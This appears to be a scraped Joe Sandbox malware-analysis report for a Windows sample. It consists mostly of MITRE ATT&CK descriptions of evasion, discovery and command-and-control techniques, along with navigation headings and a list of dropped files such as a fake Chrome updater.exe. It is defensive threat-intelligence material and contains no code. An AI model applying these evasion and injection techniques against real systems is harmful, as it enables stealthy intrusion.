Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Operating System Destruction

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2eawipj5.43a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f55ber3j.42j.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hb1wghev.s3a.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hctnl21w.wgh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxeau2et.2sy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pla451id.2ff.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psrxwgxn.f2d.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u51xj5yl.jfb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wdier0x1.ypd.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xpbnsxve.kim.psm1

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre